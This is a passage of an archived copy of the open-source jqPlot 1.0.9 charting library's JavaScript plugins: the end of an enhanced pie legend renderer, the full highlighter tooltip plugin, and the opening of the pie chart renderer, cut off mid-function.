$.jqplot.ColorGenerator(s.seriesColors); if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(slen/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(slen/this.numberColumns); } else { nr = slen; nc = 1; } var i, j, tr, td1, td2, lt, rs, div, div0, div1; var idx = 0; // check to see if we need to reverse for (i=series.length-1; i>=0; i--) { if (nc == 1 && series[i]._stack || series[i].renderer.constructor == $.jqplot.BezierCurveRenderer){ reverse = true; } } for (i=0; i<nr; i++) { tr = $(document.createElement('tr')); tr.addClass('jqplot-table-legend'); if (reverse){ tr.prependTo(this._elem); } else{ tr.appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < slen){ lt = this.labels[idx] || s.data[idx][0].toString(); tt = this.toolTips[idx]; if (lt) { var color = colorGenerator.next(); if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $(document.createElement('td')); td1.addClass('jqplot-table-legend jqplot-table-legend-swatch'); td1.css({textAlign: 'center', paddingTop: rs}); div0 = $(document.createElement('div')); div0.addClass('jqplot-table-legend-swatch-outline'); if (tt !== undefined) { div0.attr("title", tt); } div1 = $(document.createElement('div')); div1.addClass('jqplot-table-legend-swatch'); div1.css({backgroundColor: color, borderColor: color}); td1.append(div0.append(div1)); td2 = $(document.createElement('td')); td2.addClass('jqplot-table-legend jqplot-table-legend-label'); td2.css('paddingTop', rs); if (tt !== undefined) { td2.attr("title", tt); } if (this.escapeHtml){ td2.text(lt); } else { td2.html(lt); } if (reverse) { if (this.showLabels) {td2.prependTo(tr);} if (this.showSwatches) {td1.prependTo(tr);} } else { if (this.showSwatches) {td1.appendTo(tr);} if (this.showLabels) {td2.appendTo(tr);} } if (this.seriesToggle) { var speed; if (typeof(this.seriesToggle) === 'string' || typeof(this.seriesToggle) === 'number') { if (!$.jqplot.use_excanvas || !this.disableIEFading) { speed = this.seriesToggle; } } if (this.showSwatches) { td1.bind('click', {series:s, index:idx, speed:speed, plot: plot, replot:this.seriesToggleReplot}, handleToggle); td1.addClass('jqplot-seriesToggle'); } if (this.showLabels) { td2.bind('click', {series:s, index:idx, speed:speed, plot: plot, replot:this.seriesToggleReplot}, handleToggle); td2.addClass('jqplot-seriesToggle'); } // for slices that are already hidden, add the hidden class if (s.showSlice[idx] === false && s.showLabel) { td1.addClass('jqplot-series-hidden'); td2.addClass('jqplot-series-hidden'); } } pad = true; } } idx++; } td1 = td2 = div0 = div1 = null; } } return this._elem; }; var handleToggle = function (ev) { var d = ev.data, replot = d.replot, plot = d.plot, idx = d.index; d.series.showSlice[idx] = (d.series.showSlice[idx] === false) ? true : false; var opts = {}; if ($.isPlainObject(replot)) { $.extend(true, opts, replot); } plot.replot(opts); }; // called with scope of plot. var postDraw = function () { if (this.legend.renderer.constructor == $.jqplot.EnhancedPieLegendRenderer && this.legend.seriesToggle) { var e = this.legend._elem.detach(); this.eventCanvas._elem.after(e); } }; })(jQuery); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.highlighter.js���������������������������������������������������������0000666�����������������00000053010�15172447206�0015212 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { $.jqplot.eventListenerHooks.push(['jqplotMouseMove', handleMove]); /** * Class: $.jqplot.Highlighter * Plugin which will highlight data points when they are moused over. * * To use this plugin, include the js * file in your source: * * > <script type="text/javascript" src="plugins/jqplot.highlighter.js"></script> * * A tooltip providing information about the data point is enabled by default. * To disable the tooltip, set "showTooltip" to false. * * You can control what data is displayed in the tooltip with various * options. The "tooltipAxes" option controls whether the x, y or both * data values are displayed. * * Some chart types (e.g. hi-low-close) have more than one y value per * data point. To display the additional values in the tooltip, set the * "yvalues" option to the desired number of y values present (3 for a hlc chart). * * By default, data values will be formatted with the same formatting * specifiers as used to format the axis ticks. A custom format code * can be supplied with the tooltipFormatString option. This will apply * to all values in the tooltip. * * For more complete control, the "formatString" option can be set. This * Allows conplete control over tooltip formatting. Values are passed to * the format string in an order determined by the "tooltipAxes" and "yvalues" * options. So, if you have a hi-low-close chart and you just want to display * the hi-low-close values in the tooltip, you could set a formatString like: * * > highlighter: { * > tooltipAxes: 'y', * > yvalues: 3, * > formatString:'<table class="jqplot-highlighter"> * > <tr><td>hi:</td><td>%s</td></tr> * > <tr><td>low:</td><td>%s</td></tr> * > <tr><td>close:</td><td>%s</td></tr></table>' * > } * */ $.jqplot.Highlighter = function(options) { // Group: Properties // //prop: show // true to show the highlight. this.show = $.jqplot.config.enablePlugins; // prop: markerRenderer // Renderer used to draw the marker of the highlighted point. // Renderer will assimilate attributes from the data point being highlighted, // so no attributes need set on the renderer directly. // Default is to turn off shadow drawing on the highlighted point. this.markerRenderer = new $.jqplot.MarkerRenderer({shadow:false}); // prop: showMarker // true to show the marker this.showMarker = true; // prop: lineWidthAdjust // Pixels to add to the lineWidth of the highlight. this.lineWidthAdjust = 2.5; // prop: sizeAdjust // Pixels to add to the overall size of the highlight. this.sizeAdjust = 5; // prop: showTooltip // Show a tooltip with data point values. this.showTooltip = true; // prop: tooltipLocation // Where to position tooltip, 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw' this.tooltipLocation = 'nw'; // prop: fadeTooltip // true = fade in/out tooltip, flase = show/hide tooltip this.fadeTooltip = true; // prop: tooltipFadeSpeed // 'slow', 'def', 'fast', or number of milliseconds. this.tooltipFadeSpeed = "fast"; // prop: tooltipOffset // Pixel offset of tooltip from the highlight. this.tooltipOffset = 2; // prop: tooltipAxes // Which axes to display in tooltip, 'x', 'y' or 'both', 'xy' or 'yx' // 'both' and 'xy' are equivalent, 'yx' reverses order of labels. this.tooltipAxes = 'both'; // prop; tooltipSeparator // String to use to separate x and y axes in tooltip. this.tooltipSeparator = ', '; // prop; tooltipContentEditor // Function used to edit/augment/replace the formatted tooltip contents. // Called as str = tooltipContentEditor(str, seriesIndex, pointIndex) // where str is the generated tooltip html and seriesIndex and pointIndex identify // the data point being highlighted. Should return the html for the tooltip contents. this.tooltipContentEditor = null; // prop: useAxesFormatters // Use the x and y axes formatters to format the text in the tooltip. this.useAxesFormatters = true; // prop: tooltipFormatString // sprintf format string for the tooltip. // Uses Ash Searle's javascript sprintf implementation // found here: http://hexmen.com/blog/2007/03/printf-sprintf/ // See http://perldoc.perl.org/functions/sprintf.html for reference. // Additional "p" and "P" format specifiers added by Chris Leonello. this.tooltipFormatString = '%.5P'; // prop: formatString // alternative to tooltipFormatString // will format the whole tooltip text, populating with x, y values as // indicated by tooltipAxes option. So, you could have a tooltip like: // 'Date: %s, number of cats: %d' to format the whole tooltip at one go. // If useAxesFormatters is true, values will be formatted according to // Axes formatters and you can populate your tooltip string with // %s placeholders. this.formatString = null; // prop: yvalues // Number of y values to expect in the data point array. // Typically this is 1. Certain plots, like OHLC, will // have more y values in each data point array. this.yvalues = 1; // prop: bringSeriesToFront // This option requires jQuery 1.4+ // True to bring the series of the highlighted point to the front // of other series. this.bringSeriesToFront = false; this._tooltipElem; this.isHighlighting = false; this.currentNeighbor = null; $.extend(true, this, options); }; var locations = ['nw', 'n', 'ne', 'e', 'se', 's', 'sw', 'w']; var locationIndicies = {'nw':0, 'n':1, 'ne':2, 'e':3, 'se':4, 's':5, 'sw':6, 'w':7}; var oppositeLocations = ['se', 's', 'sw', 'w', 'nw', 'n', 'ne', 'e']; // axis.renderer.tickrenderer.formatter // called with scope of plot $.jqplot.Highlighter.init = function (target, data, opts){ var options = opts || {}; // add a highlighter attribute to the plot this.plugins.highlighter = new $.jqplot.Highlighter(options.highlighter); }; // called within scope of series $.jqplot.Highlighter.parseOptions = function (defaults, options) { // Add a showHighlight option to the series // and set it to true by default. this.showHighlight = true; }; // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. $.jqplot.Highlighter.postPlotDraw = function() { // Memory Leaks patch if (this.plugins.highlighter && this.plugins.highlighter.highlightCanvas) { this.plugins.highlighter.highlightCanvas.resetCanvas(); this.plugins.highlighter.highlightCanvas = null; } if (this.plugins.highlighter && this.plugins.highlighter._tooltipElem) { this.plugins.highlighter._tooltipElem.emptyForce(); this.plugins.highlighter._tooltipElem = null; } this.plugins.highlighter.highlightCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(this.plugins.highlighter.highlightCanvas.createElement(this._gridPadding, 'jqplot-highlight-canvas', this._plotDimensions, this)); this.plugins.highlighter.highlightCanvas.setContext(); var elem = document.createElement('div'); this.plugins.highlighter._tooltipElem = $(elem); elem = null; this.plugins.highlighter._tooltipElem.addClass('jqplot-highlighter-tooltip'); this.plugins.highlighter._tooltipElem.css({position:'absolute', display:'none'}); this.eventCanvas._elem.before(this.plugins.highlighter._tooltipElem); }; $.jqplot.preInitHooks.push($.jqplot.Highlighter.init); $.jqplot.preParseSeriesOptionsHooks.push($.jqplot.Highlighter.parseOptions); $.jqplot.postDrawHooks.push($.jqplot.Highlighter.postPlotDraw); function draw(plot, neighbor) { var hl = plot.plugins.highlighter; var s = plot.series[neighbor.seriesIndex]; var smr = s.markerRenderer; var mr = hl.markerRenderer; mr.style = smr.style; mr.lineWidth = smr.lineWidth + hl.lineWidthAdjust; mr.size = smr.size + hl.sizeAdjust; var rgba = $.jqplot.getColorComponents(smr.color); var newrgb = [rgba[0], rgba[1], rgba[2]]; var alpha = (rgba[3] >= 0.6) ? rgba[3]*0.6 : rgba[3]*(2-rgba[3]); mr.color = 'rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+','+alpha+')'; mr.init(); var x_pos = s.gridData[neighbor.pointIndex][0]; var y_pos = s.gridData[neighbor.pointIndex][1]; // Adjusting with s._barNudge if (s.renderer.constructor == $.jqplot.BarRenderer) { if (s.barDirection == "vertical") { x_pos += s._barNudge; } else { y_pos -= s._barNudge; } } mr.draw(x_pos, y_pos, hl.highlightCanvas._ctx); } function showTooltip(plot, series, neighbor) { // neighbor looks like: {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]} // gridData should be x,y pixel coords on the grid. // add the plot._gridPadding to that to get x,y in the target. var hl = plot.plugins.highlighter; var elem = hl._tooltipElem; var serieshl = series.highlighter || {}; var opts = $.extend(true, {}, hl, serieshl); if (opts.useAxesFormatters) { var xf = series._xaxis._ticks[0].formatter; var yf = series._yaxis._ticks[0].formatter; var xfstr = series._xaxis._ticks[0].formatString; var yfstr = series._yaxis._ticks[0].formatString; var str; var xstr = xf(xfstr, neighbor.data[0]); var ystrs = []; for (var i=1; i<opts.yvalues+1; i++) { ystrs.push(yf(yfstr, neighbor.data[i])); } if (typeof opts.formatString === 'string') { switch (opts.tooltipAxes) { case 'both': case 'xy': ystrs.unshift(xstr); ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; case 'yx': ystrs.push(xstr); ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; case 'x': str = $.jqplot.sprintf.apply($.jqplot.sprintf, [opts.formatString, xstr]); break; case 'y': ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; default: // same as xy ystrs.unshift(xstr); ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; } } else { switch (opts.tooltipAxes) { case 'both': case 'xy': str = xstr; for (var i=0; i<ystrs.length; i++) { str += opts.tooltipSeparator + ystrs[i]; } break; case 'yx': str = ''; for (var i=0; i<ystrs.length; i++) { str += ystrs[i] + opts.tooltipSeparator; } str += xstr; break; case 'x': str = xstr; break; case 'y': str = ystrs.join(opts.tooltipSeparator); break; default: // same as 'xy' str = xstr; for (var i=0; i<ystrs.length; i++) { str += opts.tooltipSeparator + ystrs[i]; } break; } } } else { var str; if (typeof opts.formatString === 'string') { str = $.jqplot.sprintf.apply($.jqplot.sprintf, [opts.formatString].concat(neighbor.data)); } else { if (opts.tooltipAxes == 'both' || opts.tooltipAxes == 'xy') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[0]) + opts.tooltipSeparator + $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[1]); } else if (opts.tooltipAxes == 'yx') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[1]) + opts.tooltipSeparator + $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[0]); } else if (opts.tooltipAxes == 'x') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[0]); } else if (opts.tooltipAxes == 'y') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[1]); } } } if ($.isFunction(opts.tooltipContentEditor)) { // args str, seriesIndex, pointIndex are essential so the hook can look up // extra data for the point. str = opts.tooltipContentEditor(str, neighbor.seriesIndex, neighbor.pointIndex, plot); } elem.html(str); var gridpos = {x:neighbor.gridData[0], y:neighbor.gridData[1]}; var ms = 0; var fact = 0.707; if (series.markerRenderer.show == true) { ms = (series.markerRenderer.size + opts.sizeAdjust)/2; } var loc = locations; if (series.fillToZero && series.fill && neighbor.data[1] < 0) { loc = oppositeLocations; } switch (loc[locationIndicies[opts.tooltipLocation]]) { case 'nw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - fact * ms; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - fact * ms; break; case 'n': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - ms; break; case 'ne': var x = gridpos.x + plot._gridPadding.left + opts.tooltipOffset + fact * ms; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - fact * ms; break; case 'e': var x = gridpos.x + plot._gridPadding.left + opts.tooltipOffset + ms; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; case 'se': var x = gridpos.x + plot._gridPadding.left + opts.tooltipOffset + fact * ms; var y = gridpos.y + plot._gridPadding.top + opts.tooltipOffset + fact * ms; break; case 's': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top + opts.tooltipOffset + ms; break; case 'sw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - fact * ms; var y = gridpos.y + plot._gridPadding.top + opts.tooltipOffset + fact * ms; break; case 'w': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - ms; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; default: // same as 'nw' var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - fact * ms; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - fact * ms; break; } if (series.renderer.constructor == $.jqplot.BarRenderer) { if (series.barDirection == 'vertical') { x += series._barNudge; } else { y -= series._barNudge; } } elem.css('left', x); elem.css('top', y); if (opts.fadeTooltip) { // Fix for stacked up animations. Thnanks Trevor! elem.stop(true,true).fadeIn(opts.tooltipFadeSpeed); } else { elem.show(); } elem = null; } function handleMove(ev, gridpos, datapos, neighbor, plot) { var hl = plot.plugins.highlighter; var c = plot.plugins.cursor; if (hl.show) { if (neighbor == null && hl.isHighlighting) { var evt = jQuery.Event('jqplotHighlighterUnhighlight'); plot.target.trigger(evt); var ctx = hl.highlightCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); if (hl.fadeTooltip) { hl._tooltipElem.fadeOut(hl.tooltipFadeSpeed); } else { hl._tooltipElem.hide(); } if (hl.bringSeriesToFront) { plot.restorePreviousSeriesOrder(); } hl.isHighlighting = false; hl.currentNeighbor = null; ctx = null; } else if (neighbor != null && plot.series[neighbor.seriesIndex].showHighlight && !hl.isHighlighting) { var evt = jQuery.Event('jqplotHighlighterHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data, plot]; plot.target.trigger(evt, ins); hl.isHighlighting = true; hl.currentNeighbor = neighbor; if (hl.showMarker) { draw(plot, neighbor); } if (plot.series[neighbor.seriesIndex].show && hl.showTooltip && (!c || !c._zoom.started)) { showTooltip(plot, plot.series[neighbor.seriesIndex], neighbor); } if (hl.bringSeriesToFront) { plot.moveSeriesToFront(neighbor.seriesIndex); } } // check to see if we're highlighting the wrong point. else if (neighbor != null && hl.isHighlighting && hl.currentNeighbor != neighbor) { // highlighting the wrong point. // if new series allows highlighting, highlight new point. if (plot.series[neighbor.seriesIndex].showHighlight) { var ctx = hl.highlightCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); hl.isHighlighting = true; hl.currentNeighbor = neighbor; if (hl.showMarker) { draw(plot, neighbor); } if (plot.series[neighbor.seriesIndex].show && hl.showTooltip && (!c || !c._zoom.started)) { showTooltip(plot, plot.series[neighbor.seriesIndex], neighbor); } if (hl.bringSeriesToFront) { plot.moveSeriesToFront(neighbor.seriesIndex); } } } } } })(jQuery);������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.pieRenderer.js���������������������������������������������������������0000666�����������������00000111250�15172447206�0015161 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.PieRenderer * Plugin renderer to draw a pie chart. * x values, if present, will be used as slice labels. * y values give slice size. * * To use this renderer, you need to include the * pie renderer plugin, for example: * * > <script type="text/javascript" src="plugins/jqplot.pieRenderer.js"></script> * * Properties described here are passed into the $.jqplot function * as options on the series renderer. For example: * * > plot2 = $.jqplot('chart2', [s1, s2], { * > seriesDefaults: { * > renderer:$.jqplot.PieRenderer, * > rendererOptions:{ * > sliceMargin: 2, * > startAngle: -90 * > } * > } * > }); * * A pie plot will trigger events on the plot target * according to user interaction. All events return the event object, * the series index, the point (slice) index, and the point data for * the appropriate slice. * * 'jqplotDataMouseOver' - triggered when user mouseing over a slice. * 'jqplotDataHighlight' - triggered the first time user mouses over a slice, * if highlighting is enabled. * 'jqplotDataUnhighlight' - triggered when a user moves the mouse out of * a highlighted slice. * 'jqplotLegendHighlight' - triggered the first time user mouses over a legend, * if highlighting is enabled. * 'jqplotLegendUnhighlight' - triggered when a user moves the mouse out of * a highlighted legend. * 'jqplotDataClick' - triggered when the user clicks on a slice. * 'jqplotDataRightClick' - tiggered when the user right clicks on a slice if * the "captureRightClick" option is set to true on the plot. */ $.jqplot.PieRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.PieRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.PieRenderer.prototype.constructor = $.jqplot.PieRenderer; // called with scope of a series $.jqplot.PieRenderer.prototype.init = function(options, plot) { // Group: Properties // // prop: diameter // Outer diameter of the pie, auto computed by default this.diameter = null; // prop: padding // padding between the pie and plot edges, legend, etc. this.padding = 20; // prop: sliceMargin // angular spacing between pie slices in degrees. this.sliceMargin = 0; // prop: fill // true or false, whether to fil the slices. this.fill = true; // prop: shadowOffset // offset of the shadow from the slice and offset of // each succesive stroke of the shadow from the last. this.shadowOffset = 2; // prop: shadowAlpha // transparency of the shadow (0 = transparent, 1 = opaque) this.shadowAlpha = 0.07; // prop: shadowDepth // number of strokes to apply to the shadow, // each stroke offset shadowOffset from the last. this.shadowDepth = 5; // prop: highlightMouseOver // True to highlight slice when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a slice. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a slice. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // an array of colors to use when highlighting a slice. this.highlightColors = []; // prop: dataLabels // Either 'label', 'value', 'percent' or an array of labels to place on the pie slices. // Defaults to percentage of each pie slice. this.dataLabels = 'percent'; // prop: showDataLabels // true to show data labels on slices. this.showDataLabels = false; // prop: dataLabelFormatString // Format string for data labels. If none, '%s' is used for "label" and for arrays, '%d' for value and '%d%%' for percentage. this.dataLabelFormatString = null; // prop: dataLabelThreshold // Threshhold in percentage (0-100) of pie area, below which no label will be displayed. // This applies to all label types, not just to percentage labels. this.dataLabelThreshold = 3; // prop: dataLabelPositionFactor // A Multiplier (0-1) of the pie radius which controls position of label on slice. // Increasing will slide label toward edge of pie, decreasing will slide label toward center of pie. this.dataLabelPositionFactor = 0.52; // prop: dataLabelNudge // Number of pixels to slide the label away from (+) or toward (-) the center of the pie. this.dataLabelNudge = 2; // prop: dataLabelCenterOn // True to center the data label at its position. // False to set the inside facing edge of the label at its position. this.dataLabelCenterOn = true; // prop: startAngle // Angle to start drawing pie in degrees. // According to orientation of canvas coordinate system: // 0 = on the positive x axis // -90 = on the positive y axis. // 90 = on the negaive y axis. // 180 or - 180 = on the negative x axis. this.startAngle = 0; this.tickRenderer = $.jqplot.PieTickRenderer; // prop: showSlice // Array for whether the pie chart slice for a data element should be displayed. // Containsg true or false for each data element. If not specified, defaults to true. this.showSlice = []; // Used as check for conditions where pie shouldn't be drawn. this._drawData = true; this._type = 'pie'; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } $.extend(true, this, options); if (this.sliceMargin < 0) { this.sliceMargin = 0; } this._diameter = null; this._radius = null; // array of [start,end] angles arrays, one for each slice. In radians. this._sliceAngles = []; // index of the currenty highlighted point, if any this._highlightedPoint = null; // set highlight colors if none provided if (this.highlightColors.length == 0) { for (var i=0; i<this.seriesColors.length; i++){ var rgba = $.jqplot.getColorComponents(this.seriesColors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); newrgb[j] = parseInt(newrgb[j], 10); } this.highlightColors.push('rgb('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+')'); } } this.highlightColorGenerator = new $.jqplot.ColorGenerator(this.highlightColors); plot.postParseOptionsHooks.addOnce(postParseOptions); plot.postInitHooks.addOnce(postInit); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); plot.postDrawHooks.addOnce(postPlotDraw); }; $.jqplot.PieRenderer.prototype.setGridData = function(plot) { // set gridData property. This will hold angle in radians of each data point. var stack = []; var td = []; var sa = this.startAngle/180*Math.PI; var tot = 0; // don't know if we have any valid data yet, so set plot to not draw. this._drawData = false; for (var i=0; i<this.data.length; i++){ if (this.data[i][1] != 0) { // we have data, O.K. to draw. this._drawData = true; if (this.showSlice[i] === undefined) { this.showSlice[i] = true; } } stack.push(this.data[i][1]); td.push([this.data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } tot += this.data[i][1]; } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; td[i][2] = this.data[i][1]/tot; } this.gridData = td; }; $.jqplot.PieRenderer.prototype.makeGridData = function(data, plot) { var stack = []; var td = []; var tot = 0; var sa = this.startAngle/180*Math.PI; // don't know if we have any valid data yet, so set plot to not draw. this._drawData = false; for (var i=0; i<data.length; i++){ if (this.data[i][1] != 0) { // we have data, O.K. to draw. this._drawData = true; } stack.push(data[i][1]); td.push([data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } tot += data[i][1]; } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; td[i][2] = data[i][1]/tot; } return td; }; function calcRadiusAdjustment(ang) { return Math.sin((ang - (ang-Math.PI) / 8 / Math.PI )/2.0); } function calcRPrime(ang1, ang2, sliceMargin, fill, lineWidth) { var rprime = 0; var ang = ang2 - ang1; var absang = Math.abs(ang); var sm = sliceMargin; if (fill == false) { sm += lineWidth; } if (sm > 0 && absang > 0.01 && absang < 6.282) { rprime = parseFloat(sm) / 2.0 / calcRadiusAdjustment(ang); } return rprime; } $.jqplot.PieRenderer.prototype.drawSlice = function (ctx, ang1, ang2, color, isShadow) { if (this._drawData) { var r = this._radius; var fill = this.fill; var lineWidth = this.lineWidth; var sm = this.sliceMargin; if (this.fill == false) { sm += this.lineWidth; } ctx.save(); ctx.translate(this._center[0], this._center[1]); var rprime = calcRPrime(ang1, ang2, this.sliceMargin, this.fill, this.lineWidth); var transx = rprime * Math.cos((ang1 + ang2) / 2.0); var transy = rprime * Math.sin((ang1 + ang2) / 2.0); if ((ang2 - ang1) <= Math.PI) { r -= rprime; } else { r += rprime; } ctx.translate(transx, transy); if (isShadow) { for (var i=0, l=this.shadowDepth; i<l; i++) { ctx.save(); ctx.translate(this.shadowOffset*Math.cos(this.shadowAngle/180*Math.PI), this.shadowOffset*Math.sin(this.shadowAngle/180*Math.PI)); doDraw(r); } for (var i=0, l=this.shadowDepth; i<l; i++) { ctx.restore(); } } else { doDraw(r); } ctx.restore(); } function doDraw (rad) { // Fix for IE and Chrome that can't seem to draw circles correctly. // ang2 should always be <= 2 pi since that is the way the data is converted. // 2Pi = 6.2831853, Pi = 3.1415927 if (ang2 > 6.282 + this.startAngle) { ang2 = 6.282 + this.startAngle; if (ang1 > ang2) { ang1 = 6.281 + this.startAngle; } } // Fix for IE, where it can't seem to handle 0 degree angles. Also avoids // ugly line on unfilled pies. if (ang1 >= ang2) { return; } ctx.beginPath(); ctx.fillStyle = color; ctx.strokeStyle = color; ctx.lineWidth = lineWidth; ctx.arc(0, 0, rad, ang1, ang2, false); ctx.lineTo(0,0); ctx.closePath(); if (fill) { ctx.fill(); } else { ctx.stroke(); } } }; // called with scope of series $.jqplot.PieRenderer.prototype.draw = function (ctx, gd, options, plot) { var i; var opts = (options != undefined) ? options : {}; // offset and direction of offset due to legend placement var offx = 0; var offy = 0; var trans = 1; var colorGenerator = new $.jqplot.ColorGenerator(this.seriesColors); var sliceColor; if (options.legendInfo && options.legendInfo.placement == 'insideGrid') { var li = options.legendInfo; switch (li.location) { case 'nw': offx = li.width + li.xoffset; break; case 'w': offx = li.width + li.xoffset; break; case 'sw': offx = li.width + li.xoffset; break; case 'ne': offx = li.width + li.xoffset; trans = -1; break; case 'e': offx = li.width + li.xoffset; trans = -1; break; case 'se': offx = li.width + li.xoffset; trans = -1; break; case 'n': offy = li.height + li.yoffset; break; case 's': offy = li.height + li.yoffset; trans = -1; break; default: break; } } var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var fill = (opts.fill != undefined) ? opts.fill : this.fill; //see http://stackoverflow.com/questions/20221461/hidpi-retina-plot-drawing var cw = parseInt(ctx.canvas.style.width); var ch = parseInt(ctx.canvas.style.height); // var w = cw - offx - 2 * this.padding; var h = ch - offy - 2 * this.padding; var mindim = Math.min(w,h); var d = mindim; // Fixes issue #272. Thanks hugwijst! // reset slice angles array. this._sliceAngles = []; var sm = this.sliceMargin; if (this.fill == false) { sm += this.lineWidth; } var rprime; var maxrprime = 0; var ang, ang1, ang2, shadowColor; var sa = this.startAngle / 180 * Math.PI; // have to pre-draw shadows, so loop throgh here and calculate some values also. for (var i=0, l=gd.length; i<l; i++) { ang1 = (i == 0) ? sa : gd[i-1][1] + sa; ang2 